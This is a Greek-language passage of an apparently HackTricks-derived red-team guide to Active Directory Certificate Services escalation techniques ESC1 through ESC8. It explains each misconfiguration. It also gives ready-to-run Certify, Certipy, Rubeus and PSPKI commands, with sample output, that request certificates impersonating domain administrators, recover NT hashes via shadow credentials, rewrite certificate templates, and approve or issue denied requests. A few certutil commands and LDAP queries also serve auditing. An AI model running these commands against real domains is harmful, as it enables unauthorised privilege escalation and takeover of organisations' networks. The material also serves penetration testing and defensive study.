AD CS Domain Escalation

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αυτό είναι ένα σύνοψη των τεχνικών ανόδου των τομέων των αναρτήσεων:

Εσφαλμένα Πρότυπα Πιστοποιητικών - ESC1

Εξήγηση

Εξήγηση των Εσφαλμένων Προτύπων Πιστοποιητικών - ESC1

  • Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.

  • Δεν απαιτείται έγκριση διευθυντή.

  • Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.

  • Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.

  • Τα πρότυπα πιστοποιητικών έχουν ρυθμιστεί για να ορίζουν EKUs που διευκολύνουν την πιστοποίηση:

  • Αναγνωριστικά Χρήσης Επέκτασης Κλειδιών (EKU) όπως Πιστοποίηση Πελάτη (OID 1.3.6.1.5.5.7.3.2), Πιστοποίηση Πελάτη PKINIT (1.3.6.1.5.2.3.4), Σύνδεση Κάρτας Έξυπνης (OID 1.3.6.1.4.1.311.20.2.2), Οποιοσδήποτε Σκοπός (OID 2.5.29.37.0), ή κανένα EKU (SubCA) περιλαμβάνονται.

  • Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στο Αίτημα Υπογραφής Πιστοποίησης (CSR) επιτρέπεται από το πρότυπο:

  • Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για τον έλεγχο ταυτότητας εάν είναι παρόν. Αυτό σημαίνει ότι με την καθορισμένη SAN σε ένα CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσομοιώσει οποιονδήποτε χρήστη (π.χ. διαχειριστή τομέα). Εάν ο αιτών μπορεί να καθορίσει μια SAN δηλώνεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας mspki-certificate-name-flag. Αυτή η ιδιότητα είναι ένα bit, και η παρουσία της σημαίας CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT επιτρέπει την καθορισμό της SAN από τον αιτούντα.

Η διαμόρφωση που περιγράφεται επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητήσουν πιστοποιητικά με οποιαδήποτε SAN της επιλογής τους, επιτρέποντας την πιστοποίηση ως οποιονδήποτε κύριο τομέα μέσω Kerberos ή SChannel.

Αυτό το χαρακτηριστικό ενεργοποιείται μερικές φορές για να υποστηρίξει τη δυνατότητα δημιουργίας πιστοποιητικών HTTPS ή οικοδεσπότη με την πτήση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.

Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή ενεργοποιεί έναν προειδοποιητικό μηνύματος, το οποίο δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο WebServer, το οποίο έχει ενεργοποιημένο το CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID πιστοποίησης.

Κατάχρηση

Για να βρείτε ευάλωτα πρότυπα πιστοποιητικών μπορείτε να εκτελέσετε:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

Για να καταχραστείτε αυτή την ευπάθεια για να προσωποποιήσετε έναν διαχειριστή, μπορείτε να εκτελέσετε:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

Τότε μπορείτε να μετατρέψετε το παραγόμενο πιστοποιητικό σε μορφή .pfx και να το χρησιμοποιήσετε για πιστοποίηση χρησιμοποιώντας το Rubeus ή το certipy ξανά:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για τη δημιουργία του PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

Η απαρίθμηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, ειδικότερα αυτών που δεν απαιτούν έγκριση ή υπογραφές, διαθέτοντας ένα EKU Πιστοποίησης Πελάτη ή Είσοδος με Κάρτα Εξυπηρέτησης, και με τη σημαία CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ενεργοποιημένη, μπορεί να πραγματοποιηθεί εκτελώντας το ακόλουθο ερώτημα LDAP:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Εσφαλμένα Πρότυπα Πιστοποιητικών - ESC2

Εξήγηση

Το δεύτερο σενάριο κατάχρησης είναι μια παραλλαγή του πρώτου:

  1. Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.

  2. Η απαίτηση για έγκριση διευθυντή απενεργοποιείται.

  3. Η ανάγκη για εξουσιοδοτημένες υπογραφές παραλείπεται.

  4. Ένα υπερβολικά επιτρεπτικό αποκριτήριο ασφαλείας στο πρότυπο πιστοποιητικού χορηγεί δικαιώματα εγγραφής πιστοποιητικού σε χρήστες με χαμηλά προνόμια.

  5. Το πρότυπο πιστοποιητικού ορίζεται να περιλαμβάνει το Any Purpose EKU ή κανένα EKU.

Το Any Purpose EKU επιτρέπει την απόκτηση ενός πιστοποιητικού από έναν επιτιθέμενο για οποιοδήποτε σκοπό, συμπεριλαμβανομένης της πιστοποίησης πελάτη, της πιστοποίησης διακομιστή, της υπογραφής κώδικα, κλπ. Η ίδια τεχνική που χρησιμοποιείται για το ESC3 μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.

Τα πιστοποιητικά με κανένα EKU, τα οποία λειτουργούν ως πιστοποιητικά υποδοχής υπογεγραμμένα από ανώτερη αρχή πιστοποίησης, μπορούν να εκμεταλλευτούν για οποιοδήποτε σκοπό και μπορούν επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών. Έτσι, ένας επιτιθέμενος θα μπορούσε να καθορίσει τυχαία EKUs ή πεδία στα νέα πιστοποιητικά χρησιμοποιώντας ένα πιστοποιητικό υποδοχής από ανώτερη αρχή πιστοποίησης.

Ωστόσο, τα νέα πιστοποιητικά που δημιουργούνται για πιστοποίηση τομέα δεν θα λειτουργήσουν εάν η υποδοχή υπογεγραμμένη από ανώτερη αρχή πιστοποίησης δεν είναι εμπιστευμένη από το αντικείμενο NTAuthCertificates, το οποίο είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας επιτιθέμενος μπορεί ακόμα να δημιουργήσει νέα πιστοποιητικά με οποιοδήποτε EKU και τυχαίες τιμές πιστοποιητικού. Αυτά θα μπορούσαν πιθανόν να καταχραστούν για μια ευρεία γκάμα σκοπών (π.χ., υπογραφή κώδικα, πιστοποίηση διακομιστή, κλπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS, ή IPSec.

Για να απαριθμήσετε τα πρότυπα που ταιριάζουν σε αυτό το σενάριο μέσα στο σχήμα διαμόρφωσης του δάσους AD, μπορεί να εκτελεστεί η ακόλουθη ερώτηση LDAP:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Εσφαλμένα Πρότυπα Πράκτορα Εγγραφής - ESC3

Εξήγηση

Αυτό το σενάριο είναι παρόμοιο με το πρώτο και το δεύτερο αλλά καταχράζεται ένα διαφορετικό EKU (Πράκτορας Αίτησης Πιστοποιητικού) και 2 διαφορετικά πρότυπα (επομένως έχει 2 σύνολα απαιτήσεων),

Το EKU του Πράκτορα Αίτησης Πιστοποιητικού (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως Πράκτορας Εγγραφής στην τεκμηρίωση της Microsoft, επιτρέπει σε έναν αρχέτυπο να εγγραφεί για ένα πιστοποιητικό εκ μέρους ενός άλλου χρήστη.

Ο "πράκτορας εγγραφής" εγγράφεται σε ένα τέτοιο πρότυπο και χρησιμοποιεί το αποτέλεσμα πιστοποιητικό για συνυπογραφή ενός CSR εκ μέρους του άλλου χρήστη. Στη συνέχεια στέλνει το συνυπογεγραμμένο CSR στον CA, εγγράφοντας σε ένα πρότυπο που επιτρέπει την "εγγραφή εκ μέρους", και ο CA απαντά με ένα πιστοποιητικό που ανήκει στον "άλλο" χρήστη.

Απαιτήσεις 1:

  • Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.

  • Η απαίτηση για έγκριση διευθυντή παραλείπεται.

  • Δεν υπάρχει απαίτηση για εξουσιοδοτημένες υπογραφές.

  • Ο περιγραφέας ασφαλείας του προτύπου πιστοποιητικού είναι υπερβολικά επιεικής, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.

  • Το πρότυπο πιστοποιητικού περιλαμβάνει το EKU του Πράκτορα Αίτησης Πιστοποιητικού, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων αρχετύπων.

Απαιτήσεις 2:

  • Το Enterprise CA χορηγεί δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.

  • Η έγκριση διευθυντή παρακάμπτεται.

  • Η έκδοση σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί το EKU του Πράκτορα Αίτησης Πιστοποιητικού.

  • Ένα EKU που έχει οριστεί στο πρότυπο πιστοποιητικού επιτρέπει την ταυτοποίηση τομέα.

  • Δεν εφαρμόζονται περιορισμοί για τους πράκτορες εγγραφής στον CA.

Κατάχρηση

Μπορείτε να χρησιμοποιήσετε το Certify ή το Certipy για να καταχραστείτε αυτό το σενάριο:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Οι χρήστες που επιτρέπεται να λάβουν ένα πιστοποιητικό πράκτορα εγγραφής, οι πρότυπα στα οποία οι πράκτορες εγγραφής επιτρέπεται να εγγραφούν και οι λογαριασμοί για τους οποίους μπορεί να ενεργήσει ο πράκτορας εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το certsrc.msc snap-in, δεξί κλικ στην CA, κάνοντας κλικ στις ιδιότητες, και στη συνέχεια πλοήγηση στην καρτέλα "Πράκτορες Εγγραφής".

Ωστόσο, σημειώνεται ότι η προεπιλεγμένη ρύθμιση για τις CA είναι "Να μην περιορίζονται οι πράκτορες εγγραφής". Όταν οι διαχειριστές ενεργοποιούν τον περιορισμό στους πράκτορες εγγραφής, ρυθμίζοντάς τον σε "Περιορισμός πράκτορων εγγραφής", η προεπιλεγμένη ρύθμιση παραμένει εξαιρετικά επιεικής. Επιτρέπει σε Όλους την πρόσβαση για εγγραφή σε όλα τα πρότυπα ως οποιονδήποτε.

Ευάλωτος Έλεγχος Πρόσβασης Προτύπου Πιστοποιητικού - ESC4

Εξήγηση

Το αποκριτήριο ασφαλείας στα πρότυπα πιστοποιητικών καθορίζει τα δικαιώματα που κατέχουν συγκεκριμένοι κύριοι AD σχετικά με το πρότυπο.

Αν ένας εισβολέας διαθέτει τα απαιτούμενα δικαιώματα για να τροποποιήσει ένα πρότυπο και να εφαρμόσει οποιεσδήποτε εκμεταλλεύσιμες λανθάνουσες ρυθμίσεις που περιγράφονται σε προηγούμενες ενότητες, θα μπορούσε να διευκολύνει την ανόδο προνομίων.

Σημαντικά δικαιώματα που εφαρμόζονται στα πρότυπα πιστοποιητικών περιλαμβάνουν:

  • Κάτοχος: Χορηγεί συνειρμικό έλεγχο επί του αντικειμένου, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών.

  • Πλήρης Έλεγχος: Επιτρέπει πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της δυνατότητας τροποποίησης οποιωνδήποτε χαρακτηριστικών.

  • ΕγγραφήΚάτοχος: Επιτρέπει την τροποποίηση του κατόχου του αντικειμένου σε έναν κύριο υπό τον έλεγχο του εισβολέα.

  • ΕγγραφήDacl: Επιτρέπει τη ρύθμιση των ελέγχων πρόσβασης, πιθανώς χορηγώντας σε έναν εισβολέα Πλήρη Έλεγχο.

  • ΕγγραφήΙδιότητα: Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου.

Κατάχρηση

Ένα παράδειγμα προηγούμενης ανόδου προνομίων όπως το προηγούμενο:

Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να γίνει ευάλωτο για το ESC1.

Όπως βλέπουμε στη διαδρομή παραπάνω, μόνο ο JOHNPC έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας JOHN έχει τη νέα άκρη AddKeyCredentialLink στον JOHNPC. Καθώς αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτήν την επίθεση επίσης, η οποία είναι γνωστή ως Σκιώδεις Διαπιστεύσεις. Εδώ ένα μικρό sneak peak της εντολής shadow auto του Certipy για την ανάκτηση του NT hash του θύματος.

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipy μπορεί να αντικαταστήσει τη διαμόρφωση ενός προτύπου πιστοποιητικού με ένα μόνο πλήκτρο. Από προεπιλογή, το Certipy θα αντικαταστήσει τη διαμόρφωση για να την καθιστά ευάλωτη στο ESC1. Μπορούμε επίσης να καθορίσουμε την παράμετρο -save-old για να αποθηκεύσουμε την παλιά διαμόρφωση, η οποία θα είναι χρήσιμη για την επαναφορά της διαμόρφωσης μετά την επίθεσή μας.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Ευάλωτος Έλεγχος Πρόσβασης Αντικειμένων PKI - ESC5

Εξήγηση

Το εκτεταμένο δίκτυο συνδεδεμένων σχέσεων βασισμένο σε ACL, το οποίο περιλαμβάνει αρκετά αντικείμενα πέρα ​​από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:

  • Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο ενδέχεται να διαρρεύσει μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy.

  • Ο διακομιστής RPC/DCOM του διακομιστή CA.

  • Οποιοδήποτε κατώτερο αντικείμενο ή δοχείο AD εντός της συγκεκριμένης διαδρομής δοχείου CN=Δημόσιες Υπηρεσίες Κλειδιών,CN=Υπηρεσίες,CN=Διαμόρφωση,DC=<DOMAIN>,DC=<COM>. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, δοχεία και αντικείμενα όπως το δοχείο Πρότυπα Πιστοποιητικών, το δοχείο Αρχές Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Δοχείο Υπηρεσιών Εγγραφής.

Η ασφάλεια του συστήματος PKI μπορεί να διακινδυνευτεί εάν ένας χρήστης με χαμηλά προνόμια καταφέρει να αναλάβει τον έλεγχο επί οποιουδήποτε από αυτά τα κρίσιμα στοιχεία.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Εξήγηση

Το θέμα που συζητήθηκε στην ανάρτηση της CQure Academy αναφέρεται επίσης στις επιπτώσεις της σημαίας EDITF_ATTRIBUTESUBJECTALTNAME2, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει τη συμπερίληψη τιμών που ορίζει ο χρήστης στο εναλλακτικό όνομα θέματος για οποιοδήποτε αίτημα, συμπεριλαμβανομένων αυτών που δημιουργούνται από το Active Directory®. Ως εκ τούτου, αυτή η πρόνοια επιτρέπει σε έναν εισβολέα να εγγραφεί μέσω οποιουδήποτε προτύπου που έχει ρυθμιστεί για την ταυτοποίηση τομέα—ειδικότερα αυτών που είναι ανοικτά για την εγγραφή χρηστών με χαμηλά προνόμια, όπως το τυπικό πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να ασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να ταυτοποιηθεί ως διαχειριστής τομέα ή οποιοδήποτε άλλο ενεργό οντότητα εντός του τομέα.

Σημείωση: Η διαδικασία για την προσάρτηση εναλλακτικών ονομάτων σε ένα αίτημα υπογραφής πιστοποιητικού (CSR), μέσω του ορίσματος -attrib "SAN:" στο certreq.exe (αναφέρεται ως "Ζεύγη Ονομάτων Τιμών"), παρουσιάζει μια αντίθεση από τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά βρίσκεται στο πώς ενθυλακώνεται η πληροφορία λογαριασμού—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.

Κατάχρηση

Για να επαληθεύσουν εάν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την ακόλουθη εντολή με το certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Αυτή η λειτουργία χρησιμοποιεί ουσιαστικά απομακρυσμένη πρόσβαση στο μητρώο, συνεπώς, μια εναλλακτική προσέγγιση θα μπορούσε να είναι:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Εργαλεία όπως το Certify και το Certipy είναι ικανά να ανιχνεύσουν αυτήν την κακή ρύθμιση και να την εκμεταλλευτούν:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

Για να τροποποιήσετε αυτές τις ρυθμίσεις, υποθέτοντας ότι κάποιος διαθέτει διαχειριστικά δικαιώματα τομέα ή ισοδύναμα, η παρακάτω εντολή μπορεί να εκτελεστεί από οποιονδήποτε υπολογιστή:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

Για να απενεργοποιήσετε αυτή τη διαμόρφωση στο περιβάλλον σας, η σημαία μπορεί να αφαιρεθεί με:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα νεοεκδιδόμενα πιστοποιητικά θα περιέχουν μια επέκταση ασφαλείας που ενσωματώνει την ιδιότητα objectSid του αιτούντα. Για το ESC1, αυτό το SID προέρχεται από το συγκεκριμένο SAN. Ωστόσο, για το ESC6, το SID αντικατοπτρίζει το objectSid του αιτούντα, όχι το SAN. Για να εκμεταλλευτείτε το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Αδύναμες Αντιστοιχίσεις Πιστοποιητικών), το οποίο δίνει προτεραιότητα στο SAN πάνω από τη νέα επέκταση ασφαλείας.

Ευάλωτος Έλεγχος Πρόσβασης Αρχής Πιστοποίησης - ESC7

Επίθεση 1

Εξήγηση

Ο έλεγχος πρόσβασης για μια αρχή πιστοποίησης διατηρείται μέσω ενός συνόλου δικαιωμάτων που ελέγχουν τις ενέργειες της CA. Αυτά τα δικαιώματα μπορούν να προβληθούν από την πρόσβαση στο certsrv.msc, δεξί κλικ σε μια CA, επιλογή ιδιοτήτων και στη συνέχεια πλοήγηση στην καρτέλα Ασφάλειας. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το module PSPKI με εντολές όπως:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

Αυτό παρέχει εισαγωγή στα κύρια δικαιώματα, δηλαδή τα ManageCA και ManageCertificates, που αντιστοιχούν στους ρόλους του "διαχειριστή CA" και "Διαχειριστή Πιστοποιητικών" αντίστοιχα.

Κατάχρηση

Έχοντας δικαιώματα ManageCA σε έναν αρμόδιο για πιστοποιητικά εξουσιοδοτημένο, ο υποκείμενος μπορεί να ρυθμίσει τις ρυθμίσεις απομακρυσμένα χρησιμοποιώντας το PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας EDITF_ATTRIBUTESUBJECTALTNAME2 για να επιτραπεί η προδιαγραφή SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο της ανόδου τομέα.

Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης της εντολής Enable-PolicyModuleFlag του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση διαδραστικότητα GUI.

Η κατοχή δικαιωμάτων ManageCertificates διευκολύνει την έγκριση εκκρεμών αιτημάτων, παρακάμπτοντας αποτελεσματικά την προστασία "έγκρισης διαχειριστή πιστοποιητικού CA".

Μια συνδυασμένη χρήση των ενοτήτων Certify και PSPKI μπορεί να χρησιμοποιηθεί για να ζητηθεί, εγκριθεί και κατεβάσει ένα πιστοποιητικό:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Επίθεση 2

Εξήγηση

Στην προηγούμενη επίθεση χρησιμοποιήθηκαν οι άδειες Manage CA για να ενεργοποιηθεί η σημαία EDITF_ATTRIBUTESUBJECTALTNAME2 για την εκτέλεση της επίθεσης ESC6, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι να επανεκκινηθεί η υπηρεσία CA (CertSvc). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης Manage CA, του επιτρέπεται επίσης να επανεκκινήσει την υπηρεσία. Ωστόσο, αυτό δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα. Επιπλέον, η ESC6 ενδέχεται να μην λειτουργήσει απευθείας σε περισσότερα περιβάλλοντα με ενημερώσεις ασφαλείας από τον Μάιο του 2022.

Επομένως, παρουσιάζεται εδώ μια άλλη επίθεση.

Προϋποθέσεις:

  • Μόνο άδεια ManageCA

  • Άδεια Manage Certificates (μπορεί να χορηγηθεί από το ManageCA)

  • Το πρότυπο πιστοποιητικού SubCA πρέπει να είναι ενεργοποιημένο (μπορεί να ενεργοποιηθεί από το ManageCA)

Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης Manage CA και Manage Certificates μπορούν να εκδώσουν αιτήσεις πιστοποιητικών που αποτυγχάνουν. Το πρότυπο πιστοποιητικού SubCA είναι ευάλωτο στην ESC1, αλλά μόνο οι διαχειριστές μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας χρήστης μπορεί να ζητήσει να εγγραφεί στο SubCA - το οποίο θα αρνηθείται - αλλά στη συνέχεια να εκδοθεί από τον διαχειριστή.

Κατάχρηση

Μπορείτε να χορηγήσετε στον εαυτό σας το δικαίωμα πρόσβασης Manage Certificates προσθέτοντας τον χρήστη σας ως νέο υπάλληλο.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

Ο πρότυπο SubCA μπορεί να ενεργοποιηθεί στο CA με την παράμετρο -enable-template. Από προεπιλογή, το πρότυπο SubCA είναι ενεργοποιημένο.

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

Αν έχουμε πληρούνται τις προϋποθέσεις για αυτήν την επίθεση, μπορούμε να ξεκινήσουμε με το αίτημα ενός πιστοποιητικού βασισμένο στο πρότυπο SubCA.

Αυτό το αίτημα θα απορριφθεί, αλλά θα αποθηκεύσουμε τον ιδιωτικό κλειδί και θα καταγράψουμε τον αριθμό αίτησης.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Με τα Manage CA και Manage Certificates μπορούμε στη συνέχεια να εκδώσουμε το αποτυχημένο πιστοποιητικό αίτηση με την εντολή ca και την παράμετρο -issue-request <request ID>.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Και τελικά, μπορούμε να ανακτήσουμε το εκδοθέν πιστοποιητικό με την εντολή req και την παράμετρο -retrieve <request ID>.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

Προώθηση NTLM σε HTTP Σημεία Άκρης του AD CS - ESC8

Εξήγηση

Σε περιβάλλοντα όπου είναι εγκατεστημένο το AD CS, εάν υπάρχει ένα ευάλωτο σημείο άκρης web εγγραφής και τουλάχιστον ένα πρότυπο πιστοποιητικού που είναι δημοσιευμένο και επιτρέπει την εγγραφή υπολογιστή τομέα και την πιστοποίηση πελάτη (όπως το προεπιλεγμένο πρότυπο Machine), γίνεται δυνατή η διακίνηση ενός υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο!

Πολλές μέθοδοι εγγραφής βασισμένες σε HTTP υποστηρίζονται από το AD CS, διατίθενται μέσω επιπλέον ρόλων διακομιστή που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπαφές για την εγγραφή πιστοποιητικών βασισμένες σε HTTP είναι ευάλωτες σε επιθέσεις NTLM relay. Ένας επιτιθέμενος, από ένα υπολογιστή που έχει διαρρεύσει, μπορεί να προσωποποιήσει οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM. Προσωποποιώντας τον λογαριασμό θύματος, αυτές οι διεπαφές web μπορούν να προσπελαστούν από έναν επιτιθέμενο για να ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών User ή Machine.

